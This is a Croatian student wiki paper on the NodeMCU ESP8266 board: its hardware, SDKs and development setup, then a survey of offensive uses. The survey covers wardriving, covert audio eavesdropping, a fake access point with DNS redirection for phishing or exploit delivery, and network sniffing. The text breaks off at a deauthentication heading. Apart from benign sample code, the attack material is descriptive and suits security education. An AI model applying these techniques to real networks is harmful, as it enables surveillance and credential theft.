Internet of Wrongs: NodeMCU ESP8266 SoC u ofenzivnoj sigurnosti

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Autor: Karlo Grlić


Esp8266chip.JPG
NodeMCU ESP8266 DEVKIT v2
Više informacija o hardveru
Opis: NodeMCU ESP8266 DEVKIT v2 je razvojna elektronička pločica sa ugrađenim Wi-fi funkcionalnostima.
Operacijski sustav: XTOS[1]
CPU: ESP8266(LX106)[1]
Memorija: 128kBytes[1]
Pohrana: 4MBytes[1]


Nedavnom popularizacijom prijenosnih single-board računala poput Raspberry PI-a, mikrokontrolerskih pločica poput Arduina i nadasve globalnog umrežavanja fizičkih uređaja nastala je popularna kovanica Internet of Things (IOT), koja upravo obuhvaća navedene tehnologije i ideju o dostupnosti pristupa internetu fizičkim uređajima, tj. dostupnost pristupa tim uređajima putem interneta.

Iako je namjena IOT uređaja u glavnini legitimna i korisna, nedvojbeno je da se isti u krivim rukama mogu biti (is)korišteni u cyber napadima te tako predstavljaju veliku, i pomalo neočekivanu, sigurnosnu prijetnju. Primjer vrlo velikog napada putem IOT uređaja bio je 2016. godine, a sproveden je putem IOT uređaja zaraženih Mirai botnetom[2]. Više o tome može se pročitati na sljedećim linkovima:


Cilj ovog rada je istražiti mogućnosti korištenja jedne IOT platforme u tzv. ofenzivnoj sigurnosti te također napraviti proof of concept implementacije, čime zapravo Internet of Things hardver postaje Internet of Wrongs (kovanica preuzeta iz članka Steva Lorda https://www.rawhex.com/2016/06/building-internet-wrongs/).


Korištena IOT platforma jest popularni NodeMCU v2 ESP8266 DEVKIT 1.0 (ESP12E v2 DEVKIT) mikrokontroler čija je posebnost mogućnost umrežavanja putem bežićnih WiFi mreža. Više o samoj platformi slijedi u nastavku rada.


Sadržaj


O NodeMCU ESP8266 WiFi pločici

Prije no što dublje uđemo u karakteristike i potankosti o spomenutom hardveru, zadržimo se malo na samim definicijama mikrokontrolera, pločica i single-board računala. To će nam uvelike pomoći u tome da razumijemo što ovaj uređaj jest i što može, a što ne. Također, kako se na samom fakultetu u sklopu redovite nastave ne obrađuju teme iz područja elektrotehnike i elektronike, neupućen čitatelj može imati krivu percepciju o tome što je zapravo mikrokontroler (MCU), koje su razlike između single-board računala i pločica s mikrokontrolerom, tj. mikrokontrolera i mikroprocesora (MPU) i kakve su im zapravo namijene.

Mikrokontroleri vs. single-board mikroprocesorska računala

Slika 4. Arduino UNO pločica sa Atmel mikrokontrolerom (Izvor: https://cdn-reichelt.de/bilder/web/xxl_ws/A300/ARDUINO_UNO_DIP_01.png)

Neki od široko korištenih mikrokontrolera jesu mikrokontroleri na pločicama iz serije Arduino, Teensy i Espressif ali i mnogi drugi. S druge strane, tu su i poznate serije single-board računala poput Raspberry Pi-a, Orange Pi-a, Intela, itd. No, postavlja se pitanje, u čemu leži razlika i kakva je namjena navedenih uređaja.

Naime, glavnina razlike između single-board mikroprocesorskih računala i mikrokontrolera leži u arhitekturi procesorske jedinice. Pogledajmo sljedeću tablicu usporedbe[3][4]:

Mikrokontroler (MCU) Mikroprocesor (MPU)
Memorija On-chip flash memorija na kojoj je spremljen pogonski program (engl. firmware), što u prijevodu znači da će se uređaj uključiti gotovo trenutačno te će program izvoditi vrlo brzo. Nepovoljna činjenica je to što je takva flash memorija vrlo limitirana, najčešće ne više od 2 megabajta. Memorija je eksterna te se koristi kao spremište podataka (uglavnom NAND flash memorija - memorija na kojoj su podaci perzistentni i unatoč prestanku napajanja). Programi se iz memorije učitavaju u radnu memoriju (uglavnom DRAM) te se nakon toga izvršavaju.
Performanse Dok je sama procesorska moć puno slabija od mikroprocesora, povoljna činjenica za mikrokontroler je ta da on izvodi samo jedan pogonski program, uglavnom jednodretveno. Ovo osigurava i to da se s velikom determinističkom točnošću može odrediti kada će se što izvesti - što je i razlog zašto su mikrokontroleri dobri za upravljanje ostalim hardverom, npr. senzorima itd. Takt MCU-a je najčešće reda nekoliko desetaka do nekoliko stotina MHz. Iako je MPU znatno brži, često se na samoj pločici nalazi puni operacijski sustav te korisnički programi. Za ostvarivanje navedenog potrebno je da MPU ima mogućnost paralelnog rada i prioritetnih poslova, pa se zbog toga ne može deterministički točno odrediti kada će se nešto izvršiti, što je i razlog zašto MPU nije dobar za upravljanje ostalim hardverom.
Potrošnja Ima vrlo nisku potršnju energije što osigurava da ga se može pogoniti i putem baterijskih članaka. Veća potrošnja električne energije, uglavnom potreban vanjski izvor napajanja.

Gledajuću holistički, pločice sa mikrokontrolerom najčešće, zbog svoje namjene, imaju i naprednija sučelja za komunikaciju sa drugim uređajima, pa tako mikrokontroleri imaju:

dok single-board MPU računala uglavnom imaju samo GPIO. S druge strane, single-board MPU računala uglavnom dolaze opremljena sa ethernet prikljucima i WiFi modulima[4].

ESP8266, MCU ili MPU?

Uzevši u obzir sve razlike i karakteristike MCU i MPU pločica, NodeMCU ESP8266 pločicu možemo svrstati u mikrokontrolerske pločice, no, bitno je napomenuti da postoji nekoliko karakteristika koje ovu pločicu čine posebnom.

Slika 6. NodeMCU ESP8266 (medo for scale)

Prije svega, to su:

Stoga, možemo zaključiti da je ESP8266 pločica ima neke osobine mikroprocesorskih pločica, što u svakom slučaju olakšava rad sa ovom mikrokontrolerskom pločicom te je čini lakše povezivom sa ostalom okolinom. U nastavku ćemo detaljnije proučiti arhitekturu same pločice, pa će nam biti jasnije što se zapravo skriva iza kodnog imena.

NodeMCU? ESP12E? ESP8266? SoC? DEVKIT v2?

Trenutno na tržištu postoje razne inačice pločica sa ESP8266 čipom, pa zbog toga često dolazi do zabune pri raspoznavanju. Štoviše, određene pločice sadrže dodatne mogućnosti, pa stoga imaju i drugačije nazive, a osim toga, često se na tržištu cijela pločica naziva imenom samog čipa, što je zapravo krivo. U ovom dijelu pokušat ćemo pojasniti na što se odnose koji dijelovi naziva u konkretnoj pločici na kojoj radimo - NodeMCU ESP8266 ESP-12E DEVKIT v2.

Slika 7. Pojašnjenje nazivlja u NodeMCU ESP8266 ESP-12E DEVKIT v2

ESP8266 (ESP8266EX) SoC

Slika 9. ESP8266EX pod elektronskim mikroskopom (Izvor: https://github.com/esp8266/esp8266-wiki/wiki/chip-internals)

Kako je vidljivo na slici 7., oznaka ESP8266, tj. ESP8266EX, odnosi se zapravo na ESP8266EX WiFi SoC (sustav na čipu - izraz koji se koristi za čip, ili pločicu, koja sadrži sve komponente osnovnog računala[5], a u ovom slučaju, specijalno sadrži i mogućnosti umrežavanja putem bežične mreže - WiFi) kineskog proizvođača Espriff, a odlikuje ga kompaktnost, visoka integriranosti, performanse i mala potrošnja, a velika posebnost je potpuna integracija WiFi tehnologije. Prema naputku proizvođača, ESP8266EX moguće je koristiti zasebno ili kao WiFi komponentu mikrokontrolera. S tim u vezi, u ESP8266EX ima integriranu antenu, RF sinkronizator (balun), pojačalo napajanja, pojačalo signala, filtere i ostale module za napajanje[6].

Slika 10. ESP8266EX - funkcionalni blok dijagram (Izvor: [6])
Slika 11. Xtensa 8 arhitektura - blok dijagram (Izvor: http://caxapa.ru/thumbs/310849/Tensilica-LX3_Reprint.pdf)

Osim toga, ESP8266EX ima integrirani mikrokontroler i mikroprocesor, koji su objedinjeni u Tensilica L106 (32-bit MCU/16-bit RISC) procesoru familije Xtensa 8 (Need to Offload Your Apps Processor? See How Customizable Processors Can Help, What's a Configurable Processor?, Tensilica Unveils Diamond Standard 106Micro Processor; Smallest Licensable 32-bit Core), čiji takt iznosi 80-160 MHz. Ujedno se na samom čipu nalazi i SRAM memorija (static random access memory - momorija koja zadržava stanje sve dok je pod naponom, brža je od konvencionalnog DRAMA koji se koristi kao glavna memorija računala, pa se zato koristi kao cache memorija u procesorima[7]). Količina RAM memorije za korisnika iznosi 50kB, dok perzistentna memorija (ROM) za korisničke programe ne postoji, već je potrebna vanjska SPI flash memorija. ESP8266EX podržava do 16MB za korisničke programe. Konačno, ESP8266EX može komunicirati sa vanjskim uređajima i perifernik komponentama putem GPIO, PWM, ADC, SPI (Serial Peripheral Interface) / SDIO ili I2C (Inter-integrated Circuit) / UART (Universal asynchronous receiver/transmitter)[6] / I2S (Inter-IC Sound) .

Slika 12. ESP8266EX pregled ulaza/izlaza (Izvor: [6])

Ono što je svakako najvažnija stavka ESP8266EX čipa, kako je već rečeno, jest integrirana WiFi tehnologija. Karakteristike integrirane WiFI tehnologije su sljedeće[6]:


Još jedna od važnih karakteristika ESP8266EX-a jest tehnologija upravljanja potrošnjom energije. Ovo je primarno iz razloga što je i sam čip namijenjen mobilnim uređajima i mobilnim SoC-evima, pa je potrebna što manja potrošnja energije. Stoga, u sam čip ugrađeno je nekoliko modova rada (spavanja) dostupnih korisniku[6]:

Na prikazu 12 dan je pregled potrošnje čipa pri različitim modovima rada:

Slika 13. Tipična potrošnja čipa pri različitim modovima rada (Izvor: [6])

Što se tiče programiranja ESP8266EX, puno više o tome će biti riječi u kasnijim poglavljima, no, ono što nas trenutno zanima jest kakva je podržanost od strane proizvođača. Espressif, naime, daje službeni SDK (Software Devekopment Kit) u koji nam daje pristup upravljanju sljedećim mogućnostima[17]:

Više o SDK-u može se naći na http://espressif.com/en/products/hardware/esp8266ex/resources. Na raspolaganju su također dostupni i neki drugi neslužbeni SDK paketi, no o njima nešto više kasnije.

ESP8266 moduli (ESP-12F)

Slika 16. Shema spajanja ESP8266EX na modul (konkretno ESP-WROOM-02) (Izvor: http://espressif.com/sites/default/files/documentation/0c-esp-wroom-02_datasheet_en.pdf)
Slika 17. Shema spajanja perifernih uređaja na modul (konkretno ESP-WROOM-02) (Izvor: http://espressif.com/sites/default/files/documentation/0c-esp-wroom-02_datasheet_en.pdf)

U normalnim okolnostima, netko tko se bavi hobi-elektronikom neće raditi sa samim ESP8266(EX) čipom već će vjerojatno koristiti tzv. ESP8266 modul (modul zapravo u sebi ima integrirani ESP8266EX). Ovo proizlazi iz nekoliko glavnih razloga[18][19][20]:

Dakako, gornje funkcionalnosti nisu prisutne u svim dostupnim modulima na tržištu, već se moduli razlikuju po istima. Trenutno se na tržištu najčešće mogu naći ESP-12 E/F moduli kineskog proizvođača Ai-Thinker, dok su ostali moduli istog proizvođača označeni ESP-XY oznakama[18]. Pri kupnji modula, tj. razvojne pločice, treba obratiti pažnju koji modul se odabire. Svakako je preporučljivo kupiti modul iz zadnje serije jer uglavnom predstavlja neki oblik nadogradnje ili popravka u odnosu na prethodni modul. Na prikazu 14, dan je općeniti dizajn ESP8266 modula (prema ESP-WROOM-02 tvrtke Espriff). Na prikazu se može uočiti da sam ESP8266(EX) čip dolazi u središte modula.

Slika 14. Model ESP8266 modula sa ugrađenom PCB antenom (konkretno ESP-WROOM-02) (Izvor: http://espressif.com/sites/default/files/documentation/0c-esp-wroom-02_datasheet_en.pdf)
ESP-12F
Slika 18. ESP-12 modul bez vanjskog štita (Izvor: http://www.esp8266.com/wiki/doku.php?id=esp8266-module-family)
Slika 20. Shema spajanja ESP8266EX na ESP-12E modul ((Izvor: http://www.esp8266.com/wiki/doku.php?id=esp8266-module-family)
Slika 21. Shema spajanja perifernih uređaja na ESP-12E modul (Izvor: http://www.esp8266.com/wiki/doku.php?id=esp8266-module-family)

U ovom radu koristit ćemo ESP-12F modul koji agregira ESP8266EX čip. Pogledajmo koje su glavne karakteristike ESP-12F modula[18][19][20]:

Razvojna pločica (NodeMCU DEVKIT v2)

Slika 25. Raspored pinova na NodeMCU DEVKIT v2 (Izvor: https://github.com/nodemcu/nodemcu-devkit-v1.0)
Slika 27. SparkFun ESP8266 Thing ((Izvor: https://www.sparkfun.com/products/13231)
Slika 28. Wemos D1 mini pro (Izvor: https://www.wemos.cc/product/d1-mini-pro.html)

Iako su ESP8266 moduli korisnički zasigurno prihvatljiviji od rada sa samim ESP8266(EX) čipom, ipak imaju nekoliko nedostataka. Naime, sami moduli nemaju vlastiti USB konektor, pa nije moguće direktno pristupati samoj memoriji, tj. mijenjati firmware. Također, moduli su vrlo osjetljivi na oscilacije u naponu, pa je za pouzdan rad potreban i regulator napona. Naposljetku, moduli, isto tako, nemaju mogućnost automatskog reseta i flashanja[20][22].

Slika 23. Custom pločica ili NodeMCU?

Rješenje donose pločice sa ugrađenim USB-UART mostom, USB konektorom i regulatorom napona[8]. Trenutno se na tržištu nudi nekoliko takvih pločica, a u ovom radu ćemo konkretno raditi sa NodeMCU DEVKTIT v2. Osim spomenutog, prednost NodeMCU je i lakše korištenje pinova pri prototipiranju (npr. može se koristiti običan breadboard te nema potrebe za lemljenjem). Pinovi na samoj pločici odgovaraju modulu (ESP-12F), što se i podrazumjeva, s tim da su na pločici, zbog praktičnosti, VCC i GND razdijeljeni na više izlaza/ulaza.

Specifične komponente koje su na NodeMCU pločici jesu:

Naziv NodeMCU često se odnosi i na sam Lua framework za ESP8266 od istog proizvođača (https://github.com/nodemcu), no više o dostupnim framework i SDK paketima u sljedećem poglavlju. Također, postoji više inačica pločice NodeMCU, no razlike nisu velike, više o tome može se pročitati na http://frightanic.com/iot/comparison-of-esp8266-nodemcu-development-boards/.

Slika 24. NodeMCU DEVKIT v2

Osim NodeMCU pločice, na tržištu postoji nekoliko pločica sa vrlo sličnim karakteristikama, neke od češće korištenih jesu:

ESP8266 SDKs, frameworks i IDEs

Kako je već spomenuto, korisnicima je u programiranju pločica s ESP8266 čipom dostupno nekoliko SDK-ova i frameworkova, a na raspolaganju je i nekoliko IDE-ova koji imaju podršku za ESP8266.

Službeni Espriff SDK

Prvi SDK je i onaj službeni od samog proizvođača. Espriff, zapravo, nudi na raspolaganje dva SDK paketa[17]:

NON-OS SDK nudi sav dostupan standardni API za programiranje u C-u te podržava samo singlethreaded arhitekturu, dok RTOS SDK, koji je baziran na FreeRTOS operacijskom sustavu, nudi bolju podršku za mulithreading/multitasking. Osim dostupnog API-ja, u SDK-u su sadržani mnogi primjeri korištenja istog, a na raspolaganju je i službena dokumentacija dostupna na https://espressif.com/sites/default/files/documentation/2c-esp8266_non_os_sdk_api_reference_en.pdf[17].

Da bi koristili službeni SDK potrebno ga je preuzeti sa stranica proizvođača u obliku izvornog koda, te ga kompajlirati na vlastitom računalu[23]. Za kompajliranje je potrebno GNU/Linux okruženje. Najčešće se koristi NON-OS SDK pa ćemo na njega obratiti više pažnje.

Dostupni API

Službeni NON-OS SDK nudi sljedeće API biblioteke[17]:

Da bi mogli koristiti navedene API biblioteke, potrebno je u program uključiti header (.h) datoteke koje ih sadržavaju. U nastavku je dan popis dostupnih headera i kratka pojašnjenja, a detaljna pojašnjena dostupna su u službenoj SDK dokumentaciji. Header datoteke se nalaze u include mapi SDK-a.

Headeri i pojašnjenja[23]:

Datoteka Opis
at_custom.h Definicije za prilagođene ekstenzije AT naredbenog handlera.
c_types.h Definicije iz C jezika.
eagle_soc.h Low-level definicije i macrosi.
espconn.h TCP i UDP definicije.
espnow.h Definicije za ESPNOW.
gpio.h Definicije za interakciju sa GPIO.
ip_addr.h Definicije za IP adrese.
mem.h Definicije za manipulaciju memorijom
os_type.h Definicije operacijskog sustava.
osapi.h Definicije za korisnike postavke.
ping.h Definicije za ping.
pwm.h Definicije za PWM.
sntp.h Definicije za SNTP.
queue.h Definicije za redove.
smartconfig.h Smartconfig definicije.
spi_flash.h Definicije za flashanja.
upgrade.h Definicije za nadogradnje.
user_interface.h Definicije za OS i WiFi. Ovaj header najviše ćemo koristiti u mrežnom radu.

Tijek razvoja u SDK

Prema naputku iz SDK dokumentacije, ulaz u korisnički program bi trebao biti u user_main.c datoteci unutar metode void user_init(void). Kako SDK podržava samo singlethreaded rad, programer se mora oslanjati na korištenje timera, taskova i callback funkcija.

Primjer Hello World programa u SDK-u (https://github.com/leon-anavi/esp-hello-world/blob/master/user/user_main.c):

#include "ets_sys.h"
#include "osapi.h"
#include "os_type.h"
#include "user_config.h"

#define user_procTaskPrio        0
#define user_procTaskQueueLen    1

os_event_t    user_procTaskQueue[user_procTaskQueueLen];
static void user_procTask(os_event_t *events);

//Hello world task
static void ICACHE_FLASH_ATTR
task_hello(os_event_t *events)
{
  //print text to the serial output
  os_printf("Hello World!\r\n");
}

//Init function
void ICACHE_FLASH_ATTR
user_init()
{
  // Initialize UART0
  uart_div_modify(0, UART_CLK_FREQ / 115200);

  //Set up the hello world task
  system_os_task(task_hello, user_procTaskPrio, user_procTaskQueue, user_procTaskQueueLen);
  //send a message to the "hello world" task to activate it
  system_os_post(user_procTaskPrio, 0, 0 );
}

Kako iz priloženog primjera možemo vidjeti, pisanje programa u službenom SDK-u potražuje dosta znanja o low level programiranju i dobro poznavanje samog SDK-a. Kako bi se smanjila zahtijevnost rada sa ESP8266 platformama, razvijeni su neki od neslužbenih SDK-ova i frameworka.

ESP Open SDK

Pored službenog SDK-a, razvija se i SDK otvorenog koda - ESP Open SDK. Glavna razlika između službenog i open SDK-a leži u činjenici da je većina koda u Open SDK-u open source, tj. binarni paketi i ostale biblioteke koje nisu slobodne licence[22].

ESP Open SDK može se naći na sljedećem git repozitoriju: https://github.com/pfalcon/esp-open-sdk

NodeLua/NodeMCU eLua Firmwares

NodeLua i NodeMCU eLua dva su frameworka koja se baziraju na orginalnom Espriffovom SDK-u, tj. korisniku daju apstrakciju funkcionalnosti orginalnih API-ja te mu tako omogućavaju brži razvoj i umanjuju potrebu za znanjem C-a i orginalnog SDK-a.

Primjer koda za postavljanje http servera na ESP8266 pločici u NodeMCU eLua frameworku:

-- a simple HTTP server
srv = net.createServer(net.TCP)
srv:listen(80, function(conn)
    conn:on("receive", function(sck, payload)
        print(payload)
        sck:send("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n<h1> Hello, NodeMCU.</h1>")
    end)
    conn:on("sent", function(sck) sck:close() end)
end)

Nažalost, prema mišljenjima mnogih korisnika, korištenje Lua interpretera ima utjecaja na ionako minijaturne resurse ESP8266 pločice, pa se često može dogoditi da pločica ostane bez memorije ili se jednostavno sruši. Unatoč tome, framework (barem NodeMCU) je pod konstantnim razvojem pa se očekuje da ovakvih problema u budućnosti neće biti.

Više o NodeMCU frameworku može se naći u službenoj dokumentaciji na https://nodemcu.readthedocs.io/en/master/

MicroPython

Kao i Lua frameworkovi, MicroPython je još jedan framework namijenjen za IOT uređaje, pa je, naravno, shodan za korištenje i na ESP8266 platformama. Razlika između Lue i MicroPythona je ta što se MicroPython kompajlira u bytecode at-compiletime te se izvršava bare-metal na samom uređaju, što svakako ima manji utjecaj na resurse uređaja. Naravno, MicroPython može izvršavati i source coude Python skripte, dakle vrijedi (compile + runtime), a također daje i pristup Python shell-u, odnosno REPL-u. MicroPython podržava gotovo cjelovit Python sintaksu, pa samim time i dobar dio Python biblioteka. Za MicroPython također implementiran i MicroPIP, pa je i instalacija dodatnih biblioteka vrlo jednostavna[22][24].


Slika 30. Micropython (Izvor: https://github.com/micropython/micropython)

Primjer upravljanja pinovima i ispis u konzolu[24]:

import pyb

# turn on an LED
pyb.LED(1).on()

# print some text to the serial console
print('Hello MicroPython!')

Neke od najznačajnijih karakteristika MicroPythona jesu[24]:

MicroPython ima dosta naprednih mogućnosti, a više o tome na https://micropython.org/

Arduino Core ESP8266

Arduino Core projekt je koji omogućuje korištenje Arduino biblioteka unutar Arduino IDE-a za ESP8266 platforme. Arduino Core zapravo je najpopularnija opcija za programiranje ove pločice i to iz nekoliko razloga[22]:

Cijeli Arduino Core za ESP8266 zapravo je pokušaj da se sučelja koja su već postojala kod samog Arduina re-mapiraju na orginalne SDK biblioteke, te se samim time smanji ono što korisnik treba učiti[23]. Pa tako Arduino COre dolazi sa bibliotekama za rad sa WiFi-jem[25].:

a osim toga i s bibliotekama za rad sa[25].:

Slijedi primjer jednostavnog "hello" webservera napisanog u Arduino Coreu[25].:

#include <ESP8266WiFi.h>
#include <WiFiClient.h>
#include <ESP8266WebServer.h>
#include <ESP8266mDNS.h>

const char* ssid = "........";
const char* password = "........";

ESP8266WebServer server(80);

const int led = 13;

void handleRoot() {
  digitalWrite(led, 1);
  server.send(200, "text/plain", "hello from esp8266!");
  digitalWrite(led, 0);
}

void handleNotFound(){
  digitalWrite(led, 1);
  String message = "File Not Found\n\n";
  message += "URI: ";
  message += server.uri();
  message += "\nMethod: ";
  message += (server.method() == HTTP_GET)?"GET":"POST";
  message += "\nArguments: ";
  message += server.args();
  message += "\n";
  for (uint8_t i=0; i<server.args(); i++){
    message += " " + server.argName(i) + ": " + server.arg(i) + "\n";
  }
  server.send(404, "text/plain", message);
  digitalWrite(led, 0);
}

void setup(void){
  pinMode(led, OUTPUT);
  digitalWrite(led, 0);
  Serial.begin(115200);
  WiFi.begin(ssid, password);
  Serial.println("");

  // Wait for connection
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("");
  Serial.print("Connected to ");
  Serial.println(ssid);
  Serial.print("IP address: ");
  Serial.println(WiFi.localIP());

  if (MDNS.begin("esp8266")) {
    Serial.println("MDNS responder started");
  }

  server.on("/", handleRoot);

  server.on("/inline", [](){
    server.send(200, "text/plain", "this works as well");
  });

  server.onNotFound(handleNotFound);

  server.begin();
  Serial.println("HTTP server started");
}

void loop(void){
  server.handleClient();
}

Arduino Core je, zbog same prirode projekta, vezan uz Arduino IDE - službeno razvojno okružje za Arduino platforme. Unatoč tome, moguće je koristiti i nekoliko drugih IDE-ova, o čemu malo više kasnije.


Slika 31. Arduino IDE i NodeMCU pločica


Za potrebe ovog projekta koristit će se upravo Arduino Core, izmeđuostalog, zbog gore navedenih prednosti, a u nastavku rada detaljnije ćemo pogldati kako postaviti razvojno okružje.

Javascript, Basic, Lisp, itd.

Kako je već prije navedeno, za ESP8266 napravljeno je već nekoliko portova drugih jezika, pa tako, npr., imamo Javascript, Basic, Lisp, itd. Kako navedeni portovi nisu toliko popularni, niti ćemo ih koristiti u ovome projektu, ovdje ih nećemo posebno obrađivati, pa u nastavku slijede linkovi na njihove službene projekte:

Postavljanje Arduino Corea i Eclipse IDE-a

Prije no što možemo stavljati korisničke programe, potreno nam je imati odgovarajuću razvojnu okolinu i programsku podršku. Kako smo odlučili raditi u Arduino Core frameworku, potrebno nam je Arduino razvojno okružje. U nekoliko sljedećih koraka pokazano je kako postaviti sve potrebno za razvoj. Upute su pisane za Linux operacijski sustav, no slično bi trebalo vrijediti i za ostale sustave.

Arduino IDE

Prvo je potrebno istalirati Arduino IDE kojeg se može preuzeti putem https://www.arduino.cc/en/Main/OldSoftwareReleases#previous. Preporuča se preuzeti inačicu 1.6.X, jer je ista testirana sa pločicom s kojom se radi u projektu.

Arduino Core

Za rad sa sa ESP8266 pločicom u Arduino okružju, potreban je već spomenut Arduino Core framework. Framework je moguće preuzeti iz samog Arduina, no zbog potreba upravljanja različitim verzijama, Arduino Core ćemo preuzeti sa službenog Git repozitorija.

Prvo je potrebno unutar Arduino mape na datotečnom sustavu kreirati mapu >hardware/esp8266com, pa onda u njoj klonirati Arduino Core sa repozitorija https://github.com/esp8266/Arduino.git (potrebno je imati instalirani git):

rloka@r2d2:/$ cd ~/Arduino/
rloka@r2d2:~/Arduino$ mkdir hardware/esp8266com
rloka@r2d2:~/Arduino$ git clone https://github.com/esp8266/Arduino.git

Nakon toga bi u Arduino IDE-u trebali imati mogućnost odabira NodeMCU ESP8266 pločice, kako je prikazano na prikazu ispod.

Slika 32. Arduino IDE sa podrškom za NodeMCU pločicu

Za konkretnu pločicu sa kojom radimo u ovom projektu u IDE-u je potrebno postaviti sljedeće postavke:

Board NodeMCU 1.0 (ESP-12E Module)
Upload using Serial
CPU frequency 80 HZ
Flash size 4M (3M SPIFFS)
Upload speed 115200
Port /dev/ttyUSB0

Također, prilikom čitanja ispisa sa serijskog ulaza/izlaza, potrebno je postaviti baud rate na 115200

Slika 33. Ispis na serijskom monitoru Arduino IDE-a

Eclipse (Sloeber) IDE

Slika 35. Izgled korisničkog sučelja Eclipse IDE-a

Iako je Arduino IDE sasvim dovoljan za razvoj programa na ESP8266 pločici, u ovom dijelu pokazati ćemo kako koristiti Eclipse (Sloeber) IDE. Naime, Arduino IDE nema neke od naprednijih mogućnosti koje su dostupne u ostalim standardnim kod editorima, poput provjere sintakse prije kompajliranja, intelisensa, naprednih postavki, itd., pa smo se u nastavku rada odlučili koristiti Eclipse (Sloeber) IDE, koji ima potpunu podršku za Arduino i ESP8266.

Prvo je potrebno imati instaliran i Arduino IDE s podrškom za ESP8266, što je objašnjeno u prethodna dva koraka, a potom treba preuzeti zadnju inačicu sa http://eclipse.baeyens.it/index.shtml te je instalirati. Eclipse IDE ne treba posebno konfigurirati jer već dolazi sa punom podrškom, no pri kreiranju projekta treba paziti da se unesu pravillne postavke pločice sa kojom se radi.

Slika 34. Postavke kod kreiranja projekta na Eclipse IDE

Da bismo saznali na kojem je serijskom portu spojena naša pločica, u naredbeni redak upišimo dmesg | grep tty, a povratna informacija trebala bi izgledati ovako (ch341-uart):

rloka@r2d2:~$ dmesg | grep tty
[337373.990663] usb 2-8: ch341-uart converter now attached to ttyUSB0

Po uspješnom uploadu firmware-a na pločicu, naredbeni redak bi trebao ispisati sljedeće poruke:

Uploading 208672 bytes from /home/rloka/Desktop/Dev/sloeber/workspace/CommandAndControlNode/Release/CommandAndControlNode.bin to flash at 0x00000000
	erasing flash
	size: 032f20 address: 000000
	first_sector_index: 0
	total_sector_count: 51
	head_sector_count: 16
	adjusted_sector_count: 35
	adjusted_size: 023000
	espcomm_send_command: sending command header
	espcomm_send_command: sending command payload
	setting timeout 10000
	setting character timeout 100
	done
	setting timeout 1
	setting character timeout 1
	done
	espcomm_send_command: receiving 2 bytes of data
	writing flash
......................................................................................................................
starting app without reboot
	espcomm_send_command: sending command header
	espcomm_send_command: sending command payload
	espcomm_send_command: receiving 2 bytes of data
closing bootloader
esptool finished
upload done

Korištenje u ofenzivnoj sigurnosti

Da bismo mogli smjestiti ESP8266 u pravi kontekst ofenzivne sigurnosti potrebno je znati karakteristike same pločice. U prethodnim poglavljima detaljno smo obradili tehničke karakteristike, pa ćemo se ovdje samo nakratko podsjetiti:

Uzevši u obzir navedeno, korištenje ESP8266 u ofenzivnoj sigurnosti dolazi do izražaja kada je potrebno da:

Gledajući po mogućim namijenama, ESP2866 može poslužiti u:

Real World primjeri korištenja u ofenzivnoj sigurnosti

U nastavku slijede primjeri korištenja ESP8266 u ofenzivnoj sigurnosti. Navedeni primjeri nikako nisu svi primjeri koji semogu naći online, već samo oni koje je autor smatrao shodnim za ovaj rad. Primjeri su uzeti sa stranica i blogova njihovih autora, a uz svaki primjer stavljen je i link na izvor, pa se svaki primjer može i detaljnije proučiti jer ćemo ovdje staviti samo sažetak.

ESP8266 War Walker

Autor spomenutog napravio je uređaj pomoću kojeg prati dostupne pristupne točke i jačinu signala u realnom vremenu te ih prikazuje na OLED zaslonu. Autor je koristio NodeMCU LoLin (v3) pločicu koja je nasljednica pločice korištene u ovom radu. U programu se koristi se mogućnost skeniranja mreže.

Slika 35. War Walker

Izvor: https://github.com/stevemcquaid/War-Walker, https://github.com/stevemcquaid/War-Walker

U drugom sličnom članku autor je upario pločicu sa GPS modulom te je uspio napraviti triangulaciju mjenjajući svoju lokaciju.

Slika 36. Triangulacija pomoću GPS modula

Izvor: https://hackaday.io/project/11611-wifi-triangulation

Baby monitor

Iako se ne radi o ofenzivnoj sigurnosti, isti primjer može se iskoristiti u kreiranju uređaja za prisluškivanju putem WiFi-a. U primjeru se koristi mikrofon, pojačivač audio signala i konverter analognog u digitalni signal koji je ugrađen u samu ESP8266 pločicu.

Slika 37. Baby monitor

Izvor: https://perso.aquilenet.fr/~sven337/english/2016/07/14/DIY-wifi-baby-monitor.html, http://hackaday.com/2016/01/24/truly-versatile-esp8266-wifi-webcam-platform/, https://github.com/sven337/jeenode/tree/master/babymonitor

Building a low cost wifi camera

Kao i u prethodnom primjeru, ne radi se o čistoj primjeni u sigurnosti, no može poslužiti kao izvor za izgradnju WiFi nadzorne kamere. Autor pojašnjava kako je napravio integraciju Arducam modula (kamere koja je izvorno namjenjena za Arduino) i ESP8266 pločice. Kamera radi streaming i poslužuje ga putem lokanog webserva na portu 80.

Slika 38. Esparducam

Izvor: http://hackaday.com/2016/01/24/truly-versatile-esp8266-wifi-webcam-platform/, http://johan.kanflo.com/building-a-low-cost-wifi-camera/, https://github.com/kanflo/esparducam

Color TV Broadcasting

U ovom primjeru autor je uspio generirati TV signal i napraviti prijenos putem I2S (Inter-IC-sound) busa. Isti primjer bi mogao koristiti u smetnji televizijskog signala ili u lažnom informiranju slanjem prijenosa putem koaksijalnog/antenskog kabela.

Slika 39. TV prijenos sa ESP8266

Izvor: http://hackaday.com/2016/03/01/color-tv-broadcasts-are-esp8266s-newest-trick/, https://www.youtube.com/watch?v=bcez5pcp55w

Ethernet controller

Autor u ovom primjeru spaja Ethernet ulaz na na ESP8266 pločicu te se pomoći njega spaja na mrežu. Primjer se može iskoristiti u sniffanju lokalne mreže putem etherneta ili u pristupanju resursa dostupnih samo putem lokalne mreže. Autor koristi nešto pomoćnog hardvera i, izmeđuostalog i I2S bus.

Slika 40. ESP8266 i Ethernet priključak

Izvor: http://hackaday.com/2016/04/01/ethernet-controller-discovered-in-the-esp8266/, https://www.youtube.com/watch?v=XKnyAYKP434, https://github.com/cnlohr/espthernet

Captive portal / DNS redirection

Primjer pokazuje kako napraviti tzv. captive portal i DNS redirekciju. Autor koristi mogućnost pružanja pristupne točke kako bi napravio lažnu pristupnu točku i preusmjerio korisnike na lokalni webserver. Ovaj primjer može poslužiti u zarazi uređaja sa exploitom koji bi bio stavljen na lažnu stranicu, ili pak može poslužiti u phishing napadima.

Slika 41. DNS redirekcija

Izvor: https://www.hackster.io/rayburne/esp8266-captive-portal-5798ff

Multi target De-Auth attack

